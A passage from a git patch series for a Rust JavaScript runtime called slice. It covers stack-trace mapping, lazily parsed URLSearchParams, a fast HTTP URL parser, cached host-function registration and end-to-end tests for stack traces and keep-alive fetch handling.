recover_enclosing_symbol_name(&lines, sec, l_1, 1); + } + break; + } + } + if resolved.is_some() { + break; + } } } } @@ -497,10 +1016,10 @@ pub fn map_bundled_stack_trace(bundled_js: &str, raw_stack: &str) -> String { out.push('\n'); } if let Some((short_label, orig_line)) = resolved { - if let Some(fn_name) = fn_name_opt { + if let Some(ref fn_str) = display_fn { out.push_str(&format!( " at {} ({}:{}:{})", - fn_name, short_label, orig_line, col + fn_str, short_label, orig_line, col )); } else { out.push_str(&format!(" at {}:{}:{}", short_label, orig_line, col)); @@ -509,7 +1028,7 @@ pub fn map_bundled_stack_trace(bundled_js: &str, raw_stack: &str) -> String { out.push_str(raw_line); } - prev_callee_fn = fn_name_opt; + prev_callee_fn = display_fn; frame_ordinal += 1; } diff --git a/crates/slice-cas/src/lib.rs b/crates/slice-cas/src/lib.rs index c0e9ba1..8c7788c 100644 --- a/crates/slice-cas/src/lib.rs +++ b/crates/slice-cas/src/lib.rs @@ -28,8 +28,9 @@ pub use archive::{ CACHE_LINE_ALIGN, CAS_MAGIC, CAS_VERSION, }; pub use bundler::{ - bundle_entrypoint_with_deps, map_bundled_error_location, map_bundled_stack_trace, - resolve_project_entrypoint, + bundle_entrypoint_with_deps, map_bundled_error_location, + map_bundled_error_location_with_offset, map_bundled_stack_trace, + map_bundled_stack_trace_with_offset, resolve_project_entrypoint, }; pub use compiler::{ analyze_typescript_semantics, check_syntax_source, fuse_array_pipelines_ast, From bca62355dfa481421dbea7e918c153d653525ac9 Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 17:14:07 -0500 Subject: [PATCH 4/6] perf(engine): optimize WinterTC fetch hot path and fused stack offsets --- .../tests/wintertc_and_node_e2e_tests.rs | 222 ++++++++++++++ .../src/bindings/http_and_fetch.rs | 10 +- crates/slice-engine/src/isolate/exec_boa.rs | 154 ++++++---- .../src/preludes/01_web_fetch_url.js | 280 ++++++++++++++++-- .../src/preludes/11_fetch_headers_req_res.js | 67 ++++- .../slice-engine/src/preludes/js_preludes.rs | 27 ++ crates/slice-engine/src/runtime/boa_realm.rs | 44 ++- crates/slice-engine/src/vm/boacas.rs | 13 + 8 files changed, 721 insertions(+), 96 deletions(-) diff --git a/crates/slice-cli/tests/wintertc_and_node_e2e_tests.rs b/crates/slice-cli/tests/wintertc_and_node_e2e_tests.rs index 31f3f38..d4846da 100644 --- a/crates/slice-cli/tests/wintertc_and_node_e2e_tests.rs +++ b/crates/slice-cli/tests/wintertc_and_node_e2e_tests.rs @@ -722,3 +722,225 @@ describe("TSX SSR & Event Loop Suite", () => { "

Wave A <Rust>

  • Oxc TSX
  • Slice SSR & <Safe>
" )); } + +#[test] +fn test_multiframe_caught_and_uncaught_stack_traces_across_project_file_and_cas() { + let tmp_dir = + env::temp_dir().join(format!("slice_multiframe_stack_e2e_{}", std::process::id())); + let _ = std::fs::remove_dir_all(&tmp_dir); + std::fs::create_dir_all(tmp_dir.join("src")).unwrap(); + + std::fs::write( + tmp_dir.join("package.json"), + r#"{"name":"stack-trace-suite","main":"src/index.ts"}"#, + ) + .unwrap(); + + // Exact line numbers: + // 5: export function validate(o: Order): number { + // 6: if (o.qty <= 0) throw new RangeError("bad qty for " + o.id); + // 10: export class Ledger { + // 11: post(o: Order): number { + // 12: return validate(o); + std::fs::write( + tmp_dir.join("src/lib.ts"), + "export interface Order {\n id: string;\n qty: number;\n}\nexport function validate(o: Order): number {\n if (o.qty <= 0) throw new RangeError(\"bad qty for \" + o.id);\n return o.qty * 100;\n}\n\nexport class Ledger {\n post(o: Order): number {\n return validate(o);\n }\n}\n", + ) + .unwrap(); + + // Exact line numbers in src/index.ts: + // 6: function run() { + // 7: return ledger.post({ id: "ORD-1", qty: 0 }); + // 8: } + // 10: try { + // 11: run(); + // 12: } catch (e: any) { ... } + // 26: ledger.post({ id: "ORD-2", qty: -1 }); + std::fs::write( + tmp_dir.join("src/index.ts"), + "import { Ledger } from \"./lib\";\n\nconst ledger = new Ledger();\n\n\nfunction run() {\n return ledger.post({ id: \"ORD-1\", qty: 0 });\n}\n\ntry {\n run();\n} catch (e: any) {\n const st = String(e.stack);\n if (\n !st.includes(\"at validate (src/lib.ts:6:\") ||\n !st.includes(\"at Ledger.post (src/lib.ts:12:\") ||\n !st.includes(\"at run (src/index.ts:7:\") ||\n !st.includes(\"at src/index.ts:11:\") ||\n st.includes(\"unknown at :\") ||\n st.includes(\"
\")\n ) {\n throw new Error(\"CAUGHT_STACK_MISMATCH: \" + st);\n }\n}\n\nledger.post({ id: \"ORD-2\", qty: -1 });\n", + ) + .unwrap(); + + let assert_uncaught_stack = |mode: &str, err_msg: &str| { + assert!( + !err_msg.contains("CAUGHT_STACK_MISMATCH"), + "[{}] caught stack failed validation:\n{}", + mode, + err_msg + ); + assert!( + err_msg.starts_with("Uncaught RangeError: bad qty for ORD-2\n"), + "[{}] header should strip raw bundle location:\n{}", + mode, + err_msg + ); + assert!( + err_msg.contains(" at validate (src/lib.ts:6:"), + "[{}] missing validate frame:\n{}", + mode, + err_msg + ); + assert!( + err_msg.contains(" at Ledger.post (src/lib.ts:12:"), + "[{}] missing Ledger.post class method frame:\n{}", + mode, + err_msg + ); + assert!( + err_msg.contains(" at src/index.ts:26:"), + "[{}] missing top-level caller frame:\n{}", + mode, + err_msg + ); + assert!( + !err_msg.contains("unknown at :") && !err_msg.contains("
"), + "[{}] leaked unmapped bundle frame or
:\n{}", + mode, + err_msg + ); + }; + + // 1. Folder entrypoint + let folder_err = cmd_run(&[tmp_dir.to_string_lossy().to_string(), "--quiet".to_string()]) + .expect_err("folder run must fail with uncaught RangeError"); + assert_uncaught_stack("folder", &folder_err.to_string()); + + // 2. Direct file entrypoint + let file_err = cmd_run(&[ + tmp_dir.join("src/index.ts").to_string_lossy().to_string(), + "--quiet".to_string(), + ]) + .expect_err("file run must fail with uncaught RangeError"); + assert_uncaught_stack("file", &file_err.to_string()); + + // 3. Packed .cas archive with original TypeScript sources deleted from disk + let cas_path = tmp_dir.join("app.cas"); + build_cas_archive(&tmp_dir, &cas_path, "./index.ts").expect("pack cas archive"); + std::fs::remove_dir_all(tmp_dir.join("src")).unwrap(); + + let cas_err = cmd_run(&[ + cas_path.to_string_lossy().to_string(), + "--quiet".to_string(), + ]) + .expect_err("cas run must fail with uncaught RangeError"); + assert_uncaught_stack("cas", &cas_err.to_string()); + + let _ = std::fs::remove_dir_all(&tmp_dir); +} + +#[test] +fn test_wintertc_fast_url_search_params_and_lazy_response_headers_keep_alive() { + use std::sync::atomic::AtomicUsize; + use std::sync::Arc; + + let handler_src = r#" +export default { + fetch(req: Request): Response { + const u = new URL(req.url); + const n = Number(u.searchParams.get("n") ?? "0"); + const tag = u.searchParams.get("tag") ?? ""; + const hasFlag = u.searchParams.has("flag"); + + // Verify FastUrlProto property accessors and mutation materialization + const cloneUrl = new URL(req.url); + cloneUrl.searchParams.set("extra", "1"); + const syncedHref = cloneUrl.href; + cloneUrl.pathname = "/mutated"; + + let acc = 0; + for (let i = 0; i < n; i++) { + acc = (acc + i * 7) % 1000003; + } + const body = JSON.stringify({ + n, + acc, + tag, + hasFlag, + pathname: u.pathname, + originOk: u.origin.startsWith("http://localhost"), + syncedHasExtra: syncedHref.includes("extra=1"), + mutatedPath: cloneUrl.pathname, + }); + return new Response(body, { + status: 201, + headers: { + "content-type": "application/json", + "content-length": String(body.length), + "x-edge-route": "fast-ka", + }, + }); + } +}; +"#; + + let tmp_dir = env::temp_dir().join(format!("slice_fast_url_ka_e2e_{}", std::process::id())); + let _ = std::fs::remove_dir_all(&tmp_dir); + std::fs::create_dir_all(&tmp_dir).unwrap(); + let entry_path = tmp_dir.join("handler.ts"); + std::fs::write(&entry_path, handler_src).unwrap(); + let bundled = slice_cas::bundle_entrypoint_with_deps(&entry_path).unwrap(); + let _ = std::fs::remove_dir_all(&tmp_dir); + + let bytecode = Arc::new(compile_source_to_bytecode(&bundled)); + let listener = TcpListener::bind("127.0.0.1:0").unwrap(); + let addr = listener.local_addr().unwrap(); + let counter = Arc::new(AtomicUsize::new(0)); + let bc_srv = Arc::clone(&bytecode); + let counter_srv = Arc::clone(&counter); + + let srv = std::thread::spawn(move || { + SliceIsolate::prewarm_boa_bundle_with_caps(&bc_srv, &CapabilityToken::pure_compute()); + let mut read_buf = vec![0u8; 65536]; + let mut write_buf = Vec::with_capacity(4096); + if let Ok((stream, _)) = listener.accept() { + let _ = serve_connection_keep_alive( + stream, + 0, + &bc_srv, + None, + None, + None, + &CapabilityToken::pure_compute(), + 2_000_000, + 4 * 1024 * 1024, + &mut read_buf, + &mut write_buf, + Some((&counter_srv, 2)), + ); + } + }); + + let mut client = TcpStream::connect(addr).unwrap(); + // Request 1: plain ASCII query parameters on keep-alive connection + client + .write_all( + b"GET /compute?n=100&tag=plain&flag HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\n\r\n", + ) + .unwrap(); + + // Request 2: percent-encoded and plus-encoded query parameters on the same TCP socket + client + .write_all( + b"GET /compute?n=10&tag=hello+world%21 HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n", + ) + .unwrap(); + + let mut raw_all = String::new(); + client.read_to_string(&mut raw_all).unwrap(); + srv.join().unwrap(); + + assert_eq!( + raw_all.matches("HTTP/1.1 201 Created").count(), + 2, + "both keep-alive responses must return 201 Created:\n{}", + raw_all + ); + assert!(raw_all.contains("x-edge-route: fast-ka")); + assert!(raw_all.contains("\"acc\":34650")); + assert!(raw_all.contains("\"tag\":\"plain\"")); + assert!(raw_all.contains("\"hasFlag\":true")); + assert!(raw_all.contains("\"tag\":\"hello world!\"")); + assert!(raw_all.contains("\"syncedHasExtra\":true")); + assert!(raw_all.contains("\"mutatedPath\":\"/mutated\"")); +} diff --git a/crates/slice-engine/src/bindings/http_and_fetch.rs b/crates/slice-engine/src/bindings/http_and_fetch.rs index 66758a9..08a7057 100644 --- a/crates/slice-engine/src/bindings/http_and_fetch.rs +++ b/crates/slice-engine/src/bindings/http_and_fetch.rs @@ -166,10 +166,11 @@ pub(crate) fn register_http_bridge_host_functions(ctx: &mut boa_engine::Context) .unwrap_or_default(); // Egress DLP inspection across response body, Content-Type, and serialized response headers. - let egress_secrets = BOA_EGRESS_SECRETS.with(|s| s.borrow().clone()); - if !egress_secrets.is_empty() { + let has_secrets = BOA_EGRESS_SECRETS.with(|s| !s.borrow().is_empty()); + if has_secrets { let tenant_id = active_tenant_id_or_default(); - if let Err(violation) = + let dlp_res = BOA_EGRESS_SECRETS.with(|s| { + let egress_secrets = s.borrow(); verify_egress_secrets_slice(&tenant_id, &egress_secrets, &body) .and_then(|()| { verify_egress_secrets_slice(&tenant_id, &egress_secrets, &content_type) @@ -177,7 +178,8 @@ pub(crate) fn register_http_bridge_host_functions(ctx: &mut boa_engine::Context) .and_then(|()| { verify_egress_secrets_slice(&tenant_id, &egress_secrets, &headers_json) }) - { + }); + if let Err(violation) = dlp_res { let msg = violation.to_string(); BOA_VIOLATION.with(|v| { if v.borrow().is_none() { diff --git a/crates/slice-engine/src/isolate/exec_boa.rs b/crates/slice-engine/src/isolate/exec_boa.rs index 30d4bce..f64d3e6 100644 --- a/crates/slice-engine/src/isolate/exec_boa.rs +++ b/crates/slice-engine/src/isolate/exec_boa.rs @@ -13,6 +13,7 @@ use crate::boa_realm::{ BOA_VFS_DIRS, BOA_VFS_TOMBSTONES, BOA_VIOLATION, BOA_WAIT_UNTIL_COUNT, CHECKPOINT_SLAB, DIRTY_FETCH_MOCK, DIRTY_SOCKETS, DIRTY_WASM, DIRTY_WEBSOCKET, DIRTY_WORKERS, EXEC_DIRTY_ARGV, EXEC_DIRTY_CHILD_PROC, EXEC_DIRTY_EXIT, EXEC_DIRTY_REJECTIONS, EXEC_DIRTY_UNCAUGHT, + HOST_GROUP_DET, HOST_GROUP_HTTP_BRIDGE, HOST_GROUP_KV_SANDBOX, HOST_GROUP_SEMVER_FAST, REALM_CTL_DISPATCH_HTTP_BRIDGE, REALM_CTL_RESET_MT, REALM_CTL_RESET_WU, REALM_CTL_SET_DET_MODE, REALM_CTL_SET_NEXT_TICK, REALM_CTL_SYNC_ENV, }; @@ -29,6 +30,38 @@ use crate::parser_and_compiler::extract_slice_rc_key; use crate::value_and_ast::JsValue; use slice_sandbox::{CapabilityToken, SandboxViolation}; +#[inline] +pub(crate) fn ensure_realm_http_bridge(realm: &mut WarmBoaRealm) { + if (realm.registered_host_groups & HOST_GROUP_HTTP_BRIDGE) == 0 { + crate::host_bindings::register_http_bridge_host_functions(&mut realm.ctx); + realm.registered_host_groups |= HOST_GROUP_HTTP_BRIDGE; + } +} + +#[inline] +pub(crate) fn ensure_realm_semver_fast(realm: &mut WarmBoaRealm) { + if (realm.registered_host_groups & HOST_GROUP_SEMVER_FAST) == 0 { + crate::host_bindings::register_semver_and_fast_intrinsics_host_functions(&mut realm.ctx); + realm.registered_host_groups |= HOST_GROUP_SEMVER_FAST; + } +} + +#[inline] +pub(crate) fn ensure_realm_kv_sandbox(realm: &mut WarmBoaRealm) { + if (realm.registered_host_groups & HOST_GROUP_KV_SANDBOX) == 0 { + crate::host_bindings::register_kv_and_sandbox_host_functions(&mut realm.ctx); + realm.registered_host_groups |= HOST_GROUP_KV_SANDBOX; + } +} + +#[inline] +pub(crate) fn ensure_realm_det_funcs(realm: &mut WarmBoaRealm) { + if (realm.registered_host_groups & HOST_GROUP_DET) == 0 { + crate::host_bindings::register_deterministic_host_functions(&mut realm.ctx); + realm.registered_host_groups |= HOST_GROUP_DET; + } +} + #[derive(Clone, Copy)] pub(crate) struct BoaSessionFlags { pub(crate) has_fs_grants: bool, @@ -148,14 +181,10 @@ impl SliceIsolate { }; if !realm.loaded_bundles.contains_key(&hdr.rc_key) { if (hdr.feature_flags & crate::boacas::BOACAS_FLAG_HAS_SEMVER_FAST) != 0 { - crate::host_bindings::register_semver_and_fast_intrinsics_host_functions( - &mut realm.ctx, - ); + ensure_realm_semver_fast(&mut realm); } if (hdr.feature_flags & crate::boacas::BOACAS_FLAG_HAS_KV_SANDBOX) != 0 { - crate::host_bindings::register_kv_and_sandbox_host_functions( - &mut realm.ctx, - ); + ensure_realm_kv_sandbox(&mut realm); } let pw_flags = setup_prewarm_caps(caps); if pw_flags.2 { @@ -199,20 +228,12 @@ impl SliceIsolate { if let Some((rc_key_u64, hex_bytes)) = extract_slice_rc_key(js_code) { let mut realm = acquire_warm_boa_realm(); if !realm.loaded_bundles.contains_key(&rc_key_u64) { - if js_code.contains("__slice_semver_") || js_code.contains("__slice_fast_") { - crate::host_bindings::register_semver_and_fast_intrinsics_host_functions( - &mut realm.ctx, - ); + let (bflags, _, _) = crate::boacas::compute_boacas_metadata(js_code); + if (bflags & BOACAS_FLAG_HAS_SEMVER_FAST) != 0 { + ensure_realm_semver_fast(&mut realm); } - if js_code.contains("Slice.kv") - || js_code.contains("Slice.checkpoint") - || js_code.contains("Slice.restore") - || js_code.contains("Slice.releaseCheckpoint") - || js_code.contains("Slice.evalSandbox") - { - crate::host_bindings::register_kv_and_sandbox_host_functions( - &mut realm.ctx, - ); + if (bflags & BOACAS_FLAG_HAS_KV_SANDBOX) != 0 { + ensure_realm_kv_sandbox(&mut realm); } ensure_realm_shards( &mut realm, @@ -237,6 +258,7 @@ impl SliceIsolate { { if let Some(obj) = val.as_object() { realm.loaded_bundles.insert(rc_key_u64, obj.clone()); + realm.loaded_bundle_flags.insert(rc_key_u64, bflags); } } } @@ -726,21 +748,53 @@ impl SliceIsolate { ) -> Result { let _active_src_guard = crate::boa_realm::ActiveSourceSliceGuard::new(js_code); let flags = self.setup_boa_compartment_thread_locals(); + let rc_key_opt = extract_slice_rc_key(js_code); + let mut realm = acquire_warm_boa_realm(); + + let cached_rc_flags = + rc_key_opt.and_then(|(k, _)| realm.loaded_bundle_flags.get(&k).copied()); - if !flags.is_worker && (js_code.contains("Worker") || js_code.contains("worker_threads")) { + let (has_worker_kw, has_next_tick, has_http_kw, has_semver_kw, has_kv_kw, cached_ses_kw) = + if let Some(bf) = cached_rc_flags { + ( + (bf & BOACAS_FLAG_HAS_WORKER) != 0, + (bf & BOACAS_FLAG_HAS_NEXT_TICK) != 0, + (bf & BOACAS_FLAG_HAS_HTTP_BRIDGE) != 0, + (bf & BOACAS_FLAG_HAS_SEMVER_FAST) != 0, + (bf & BOACAS_FLAG_HAS_KV_SANDBOX) != 0, + Some((bf & BOACAS_FLAG_NEEDS_SES_CHECK) != 0), + ) + } else { + let has_slice_dot = memchr::memmem::find(js_code.as_bytes(), b"Slice.").is_some(); + ( + js_code.contains("Worker") || js_code.contains("worker_threads"), + js_code.contains("nextTick"), + (has_slice_dot + && (js_code.contains("Slice.request") + || js_code.contains("Slice.respond"))) + || js_code.contains("__slice_http_"), + js_code.contains("__slice_semver_") || js_code.contains("__slice_fast_"), + has_slice_dot + && (js_code.contains("Slice.kv") + || js_code.contains("Slice.checkpoint") + || js_code.contains("Slice.restore") + || js_code.contains("Slice.releaseCheckpoint") + || js_code.contains("Slice.evalSandbox")), + None, + ) + }; + + if !flags.is_worker && has_worker_kw { crate::workers::speculative_prewarm_worker_pool(1); } - let mut realm = acquire_warm_boa_realm(); - if flags.has_env_keys { call_realm_ctl(&mut realm, REALM_CTL_SYNC_ENV, true); } if self.deterministic_seed.is_some() { - crate::host_bindings::register_deterministic_host_functions(&mut realm.ctx); + ensure_realm_det_funcs(&mut realm); call_realm_ctl(&mut realm, REALM_CTL_SET_DET_MODE, true); } - let has_next_tick = js_code.contains("nextTick"); if has_next_tick { call_realm_ctl(&mut realm, REALM_CTL_SET_NEXT_TICK, true); } @@ -759,29 +813,15 @@ impl SliceIsolate { } } let is_http_req = BOA_HTTP_REQ.with(|r| r.borrow().active); - let has_slice_dot = memchr::memmem::find(js_code.as_bytes(), b"Slice.").is_some(); - if is_http_req - || (has_slice_dot - && (js_code.contains("Slice.request") || js_code.contains("Slice.respond"))) - || js_code.contains("__slice_http_") - { - crate::host_bindings::register_http_bridge_host_functions(&mut realm.ctx); + if is_http_req || has_http_kw { + ensure_realm_http_bridge(&mut realm); } - if js_code.contains("__slice_semver_") || js_code.contains("__slice_fast_") { - crate::host_bindings::register_semver_and_fast_intrinsics_host_functions( - &mut realm.ctx, - ); + if has_semver_kw { + ensure_realm_semver_fast(&mut realm); } - if has_slice_dot - && (js_code.contains("Slice.kv") - || js_code.contains("Slice.checkpoint") - || js_code.contains("Slice.restore") - || js_code.contains("Slice.releaseCheckpoint") - || js_code.contains("Slice.evalSandbox")) - { - crate::host_bindings::register_kv_and_sandbox_host_functions(&mut realm.ctx); + if has_kv_kw { + ensure_realm_kv_sandbox(&mut realm); } - let rc_key_opt = extract_slice_rc_key(js_code); let mut should_check_ses = rc_key_opt.is_none(); // Phase 9B Priority 2 + Phase N1 Direct JsObject Invocation (`__slice_rc`): // When a warm `boa_engine::Context` has already evaluated this bundle's `node_modules` CJS factories @@ -796,6 +836,7 @@ impl SliceIsolate { fn_obj.call(&boa_engine::JsValue::undefined(), &[], &mut realm.ctx) } else { should_check_ses = true; + let (bflags, _, _) = crate::boacas::compute_boacas_metadata(js_code); ensure_realm_shards( &mut realm, detect_needed_shards(js_code, is_http_req), @@ -817,6 +858,7 @@ impl SliceIsolate { { if let Some(obj) = val.as_object() { realm.loaded_bundles.insert(rc_key_u64, obj.clone()); + realm.loaded_bundle_flags.insert(rc_key_u64, bflags); } } } @@ -840,7 +882,7 @@ impl SliceIsolate { needs_lazy_global_getters(js_code), ); self.apply_boa_realm_runtime_limits(&mut realm); - let scoped_code = if js_code.starts_with("//") { + let scoped_code = if js_code.starts_with("#!") { format!("{{\n{}\n}}", js_code) } else { format!("{{{}\n}}", js_code) @@ -850,10 +892,12 @@ impl SliceIsolate { let need_ses_scan = should_check_ses || BOA_WAIT_UNTIL_COUNT.with(|c| c.get()) > 0; let has_ses_keywords = need_ses_scan - && (js_code.contains("prototype") - || js_code.contains("__proto__") - || js_code.contains("Reflect") - || js_code.contains("Object[")); + && cached_ses_kw.unwrap_or_else(|| { + js_code.contains("prototype") + || js_code.contains("__proto__") + || js_code.contains("Reflect") + || js_code.contains("Object[") + }); self.last_exec_check_ses = has_ses_keywords; let check_ses = should_check_ses && has_ses_keywords; @@ -892,7 +936,7 @@ impl SliceIsolate { let has_next_tick = (header.feature_flags & BOACAS_FLAG_HAS_NEXT_TICK) != 0; if is_cold_bare_realm && header.approach_kind >= 1 && !precompiled_slice.is_empty() { if self.deterministic_seed.is_some() { - crate::host_bindings::register_deterministic_host_functions(&mut realm.ctx); + ensure_realm_det_funcs(&mut realm); } let mut boot_flags: i32 = 0; if flags.has_env_keys { @@ -925,7 +969,7 @@ impl SliceIsolate { call_realm_ctl(&mut realm, REALM_CTL_SYNC_ENV, true); } if self.deterministic_seed.is_some() { - crate::host_bindings::register_deterministic_host_functions(&mut realm.ctx); + ensure_realm_det_funcs(&mut realm); call_realm_ctl(&mut realm, REALM_CTL_SET_DET_MODE, true); } if has_next_tick { @@ -948,15 +992,13 @@ impl SliceIsolate { } let is_http_req = BOA_HTTP_REQ.with(|r| r.borrow().active); if is_http_req || (header.feature_flags & BOACAS_FLAG_HAS_HTTP_BRIDGE) != 0 { - crate::host_bindings::register_http_bridge_host_functions(&mut realm.ctx); + ensure_realm_http_bridge(&mut realm); } if (header.feature_flags & BOACAS_FLAG_HAS_SEMVER_FAST) != 0 { - crate::host_bindings::register_semver_and_fast_intrinsics_host_functions( - &mut realm.ctx, - ); + ensure_realm_semver_fast(&mut realm); } if (header.feature_flags & BOACAS_FLAG_HAS_KV_SANDBOX) != 0 { - crate::host_bindings::register_kv_and_sandbox_host_functions(&mut realm.ctx); + ensure_realm_kv_sandbox(&mut realm); } self.apply_boa_realm_runtime_limits(&mut realm); diff --git a/crates/slice-engine/src/preludes/01_web_fetch_url.js b/crates/slice-engine/src/preludes/01_web_fetch_url.js index 43ae090..84ea07a 100644 --- a/crates/slice-engine/src/preludes/01_web_fetch_url.js +++ b/crates/slice-engine/src/preludes/01_web_fetch_url.js @@ -33,29 +33,32 @@ } function URLSearchParams(init, u) { - this._p = []; this._u = u || null; - if (!init) return; + this._raw = ""; + if (!init) { + this._p = []; + return; + } if (typeof init === "string") { var q = init.charCodeAt(0) === 63 ? init.slice(1) : init; - if (q.length > 0) { - var ps = q.split("&"); - for (var i = 0; i < ps.length; i++) { - var sg = ps[i]; - if (!sg) continue; - var eq = sg.indexOf("="); - if (eq === -1) this._p.push([__uspD(sg), ""]); - else this._p.push([__uspD(sg.slice(0, eq)), __uspD(sg.slice(eq + 1))]); - } + if (q.length === 0) { + this._p = []; + } else { + this._raw = q; + this._p = null; } - } else if (Array.isArray(init)) { + return; + } + this._p = []; + if (Array.isArray(init)) { for (var j = 0; j < init.length; j++) { var pr = init[j]; if (pr && pr.length >= 2) this._p.push([String(pr[0]), String(pr[1])]); } } else if (typeof init === "object") { - if (Array.isArray(init._p)) { - for (var m = 0; m < init._p.length; m++) this._p.push([init._p[m][0], init._p[m][1]]); + if (init._isUSP) { + var sp = init._ensureP(); + for (var m = 0; m < sp.length; m++) this._p.push([sp[m][0], sp[m][1]]); } else { var ks = Object.keys(init); for (var k = 0; k < ks.length; k++) this._p.push([ks[k], String(init[ks[k]])]); @@ -63,24 +66,69 @@ } } URLSearchParams.prototype._isUSP = true; + URLSearchParams.prototype._ensureP = function() { + var p = this._p; + if (p !== null) return p; + p = []; + this._p = p; + var q = this._raw; + this._raw = ""; + if (q.length > 0) { + var ps = q.split("&"); + for (var i = 0; i < ps.length; i++) { + var sg = ps[i]; + if (!sg) continue; + var eq = sg.indexOf("="); + if (eq === -1) p.push([__uspD(sg), ""]); + else p.push([__uspD(sg.slice(0, eq)), __uspD(sg.slice(eq + 1))]); + } + } + return p; + }; URLSearchParams.prototype._sync = function() { if (this._u) this._u._syncSearch(); }; URLSearchParams.prototype.get = function(n) { - var k = typeof n === "string" ? n : String(n), p = this._p; + var k = typeof n === "string" ? n : String(n); + var p = this._p; + if (p === null) { + var q = this._raw; + if (!q) return null; + if (q.indexOf("+") === -1 && q.indexOf("%") === -1) { + var qLen = q.length, kLen = k.length, pos = 0; + while (pos < qLen) { + var amp = q.indexOf("&", pos); + var end = amp === -1 ? qLen : amp; + var sgLen = end - pos; + if (sgLen > 0) { + if (sgLen > kLen && q.charCodeAt(pos + kLen) === 61 && q.startsWith(k, pos)) { + return q.slice(pos + kLen + 1, end); + } + if (sgLen === kLen && q.startsWith(k, pos)) { + return ""; + } + } + if (amp === -1) break; + pos = amp + 1; + } + return null; + } + p = this._ensureP(); + } for (var i = 0; i < p.length; i++) { if (p[i][0] === k) return p[i][1]; } return null; }; URLSearchParams.prototype.getAll = function(n) { - var k = typeof n === "string" ? n : String(n), p = this._p, r = []; + var k = typeof n === "string" ? n : String(n), p = this._ensureP(), r = []; for (var i = 0; i < p.length; i++) { if (p[i][0] === k) r.push(p[i][1]); } return r; }; URLSearchParams.prototype.has = function(n) { + if (this._p === null) return this.get(n) !== null; var k = typeof n === "string" ? n : String(n), p = this._p; for (var i = 0; i < p.length; i++) { if (p[i][0] === k) return true; @@ -90,7 +138,7 @@ URLSearchParams.prototype.set = function(n, v) { var k = typeof n === "string" ? n : String(n); var s = typeof v === "string" ? v : String(v); - var p = this._p, len = p.length, fi = -1; + var p = this._ensureP(), len = p.length, fi = -1; for (var i = 0; i < len; i++) { if (p[i][0] === k) { if (fi === -1) { @@ -107,11 +155,11 @@ if (this._u) this._u._syncSearch(); }; URLSearchParams.prototype.append = function(n, v) { - this._p.push([typeof n === "string" ? n : String(n), typeof v === "string" ? v : String(v)]); + this._ensureP().push([typeof n === "string" ? n : String(n), typeof v === "string" ? v : String(v)]); if (this._u) this._u._syncSearch(); }; URLSearchParams.prototype.delete = function(n) { - var k = typeof n === "string" ? n : String(n), p = this._p, nx = []; + var k = typeof n === "string" ? n : String(n), p = this._ensureP(), nx = []; for (var i = 0; i < p.length; i++) { if (p[i][0] !== k) nx.push(p[i]); } @@ -119,32 +167,32 @@ if (this._u) this._u._syncSearch(); }; URLSearchParams.prototype.sort = function() { - this._p.sort(function(a, b) { + this._ensureP().sort(function(a, b) { return a[0] < b[0] ? -1 : (a[0] > b[0] ? 1 : 0); }); if (this._u) this._u._syncSearch(); }; URLSearchParams.prototype.forEach = function(cb, ta) { - var p = this._p; + var p = this._ensureP(); for (var i = 0; i < p.length; i++) { cb.call(ta, p[i][1], p[i][0], this); } }; URLSearchParams.prototype.entries = function() { - return this._p.slice(); + return this._ensureP().slice(); }; URLSearchParams.prototype.keys = function() { - var p = this._p, r = []; + var p = this._ensureP(), r = []; for (var i = 0; i < p.length; i++) r.push(p[i][0]); return r; }; URLSearchParams.prototype.values = function() { - var p = this._p, r = []; + var p = this._ensureP(), r = []; for (var i = 0; i < p.length; i++) r.push(p[i][1]); return r; }; URLSearchParams.prototype.toString = function() { - var p = this._p, len = p.length; + var p = this._ensureP(), len = p.length; if (len === 0) return ""; var s = ""; for (var i = 0; i < len; i++) { @@ -155,11 +203,11 @@ }; if (typeof Symbol !== "undefined" && Symbol.iterator) { URLSearchParams.prototype[Symbol.iterator] = function() { - return this._p[Symbol.iterator](); + return this._ensureP()[Symbol.iterator](); }; } Object.defineProperty(URLSearchParams.prototype, "size", { - get: function() { return this._p.length; } + get: function() { return this._ensureP().length; } }); function __normP(p) { @@ -185,7 +233,54 @@ return p !== "http:" && p !== "https:" && p !== "ws:" && p !== "wss:" && p !== "file:" && p !== "ftp:"; } + var FastUrlProto; + + function __tryFastHttpUrl(s) { + var len = s.length; + if (len < 8 || s.charCodeAt(0) !== 104 || s.charCodeAt(len - 1) <= 32) return null; + var rs = 0; + if (s.charCodeAt(1) === 116 && s.charCodeAt(2) === 116 && s.charCodeAt(3) === 112) { + if (s.charCodeAt(4) === 58 && s.charCodeAt(5) === 47 && s.charCodeAt(6) === 47) rs = 7; + else if (s.charCodeAt(4) === 115 && s.charCodeAt(5) === 58 && s.charCodeAt(6) === 47 && s.charCodeAt(7) === 47) rs = 8; + } + if (rs === 0 || s.indexOf("#", rs) !== -1) return null; + var qi = s.indexOf("?", rs); + var pathEnd = qi === -1 ? len : qi; + var pi = s.indexOf("/", rs); + if (pi <= rs || pi > pathEnd) return null; + for (var i = rs; i < pi; i++) { + var c = s.charCodeAt(i); + if (c <= 32 || c === 64 || (c >= 65 && c <= 90)) return null; + } + if ( + (rs === 7 && pi - rs > 3 && s.charCodeAt(pi - 3) === 58 && s.charCodeAt(pi - 2) === 56 && s.charCodeAt(pi - 1) === 48) || + (rs === 8 && pi - rs > 4 && s.charCodeAt(pi - 4) === 58 && s.charCodeAt(pi - 3) === 52 && s.charCodeAt(pi - 2) === 52 && s.charCodeAt(pi - 1) === 51) + ) { + return null; + } + if (pathEnd - pi > 1) { + for (var p = pi; p < pathEnd - 1; p++) { + if (s.charCodeAt(p) === 47) { + var nx = s.charCodeAt(p + 1); + if (nx === 47 || nx === 46) return null; + } + } + } + if (qi !== -1 && qi + 1 === len) return null; + var u = Object.create(FastUrlProto); + u._r = s; + u._rs = rs; + u._pi = pi; + u._qi = qi; + u._sp = null; + return u; + } + function URL(input, base) { + if (base === undefined && typeof input === "string") { + var fastU = __tryFastHttpUrl(input); + if (fastU !== null) return fastU; + } var raw = (input && input._isSliceUrl) ? input.href : (typeof input === "string" ? input.trim() : String(input).trim()); if (base !== undefined && raw.indexOf("https://") !== 0 && raw.indexOf("http://") !== 0 && raw.indexOf("://") === -1 && !__hasNonSpecialScheme(raw)) { if (typeof base === "string" && raw.charCodeAt(0) === 47 && raw.charCodeAt(1) !== 47) { @@ -283,7 +378,7 @@ }); URL.prototype._syncSearch = function() { var baseHref = 